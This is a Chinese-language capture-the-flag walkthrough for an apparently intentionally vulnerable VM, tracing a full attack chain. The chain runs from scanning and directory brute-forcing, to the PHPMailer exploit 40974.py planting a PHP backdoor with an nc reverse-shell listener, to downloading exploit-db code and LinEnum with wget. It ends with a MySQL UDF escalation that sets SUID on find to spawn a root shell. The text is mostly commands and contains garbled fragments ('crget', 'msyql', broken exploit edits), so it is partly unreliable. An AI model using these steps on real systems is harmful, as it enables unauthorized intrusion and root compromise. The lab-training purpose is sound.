首先利用netdiscover这个工具来进行对靶机的IP扫描:
netdiscover
然后可以判断出靶机IP为192.168.34.225,接着就用nmap扫描一下靶机的端口开放情况:
nmap -A 192.168.34.225
发现靶机开放了22,80,111这3个端口,然后就先访问一下80端口:
接着就是用dirb工具扫描目录,进行目录的爆破:
dirb http://192.168.34.225
在扫描出来的目录中,经过挨个的点开查看后发现vendor这个目录的PATH这文件中有这我们要找的第一个flag:
不过它还把网站的目录地址也爆出来了,然后把每个文件都点开看一下:
在README.md这个文件中发现靶机服务器安装了PHPMailer:
在VERSION这个文件中找到了这个php服务器的版本号:
然后使用searchsploit工具查看一下php的版本漏洞:
searchsploit PHPMailer
cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./
然后我们把这个文件进行编辑:
vim 40974.py
开头要加:
#!/usr/bin/python
# -*- coding: utf-8 -*-
crget = ‘靶机ip’
backdoor = ‘生成php文件名’
(\‘kali的ip’\, 端口)
/tmp -X/所生成的php文件的路径 server\
python 40974.py
nc -lvp 7777
find / -name flag*
然后就可以看到所有的flag,从而可以得到flag2和flag3:
Flag3是个图片,所以直接网页打开这个就好:
完了以后,我们先用python来获取个pty:
python -c 'import pty;pty.spawn("/bin/bash")'
至于flag4,因为它在root下,所以要进行提权才可以得到,
我们上传个LinEnum.sh对LINUX进行信息搜集,方便提权使用,项目地址为:
https://github.com/rebootuser/LinEnum
这里就要使用到搭建简易服务器进行下载了,下载好以后加权运行:
chmod +x LinEnum.sh
./LinEnum.sh
看到这个我们可以知道靶机使用给mysql的版本号,如果MySQL版本<=5.7.14,5.6.32,5.5.51的话,可以利用MySQL-Exploit-Remote-Root-Code-Execution-Privesc漏洞进行提权。
我们从https://www.exploit-db.com/exploits/1518获取EXP,先在kali中生成so文件:
wget https://www.exploit-db.com/download/1518
mv 1518 1.c
gcc -g -c 1.c
gcc -g -shared -o 1.so 1.o -lc
mv 1.so 2.so
然后同样在靶机上用wget下载2.so
我们先回到网站的根目录用ls命令查看一下,可以看到有wordpress(wp):
进去看一下wp的配置文件:
查看一下wp-config.php:
在这里面可以找到myslq的账号和密码:
数据库账号:root
数据库密码:R@v3nSecurity
然后进行数据库提权:
use msyql
create table foo(line blob);
(创建一个名为foo的blob数据类型(二进制对象)的数据表)
Insert into foo values(load_file(‘/tmp/sdfz_udf.so’));
(把’/tmp/sdfz_udf.so’文件插入到foo这个数据表中)
Select * from foo into dumpfile ‘usr/lib/mysql/plugin/sdfz_udf.so’;
(把foo里面的数据导出到‘usr/lib/mysql/plugin/sdfz_udf.so’下)
Create function do_system returns integer soname ‘sdfz_udf.so’;
Select * from myslq.func
Select do_system(‘chmod u+s /usr/bin/find’);
(调用这个函数给用户的find命令增加s权限)
查看一下当前的权限:
然后用find命令进行提权:
find / -exec “/bin/sh” \;
(用find / -exec 命令去执行 “/bin/sh”)
最后得到flag.4
参考:https://blog.csdn.net/nzjdsds/article/details/93971746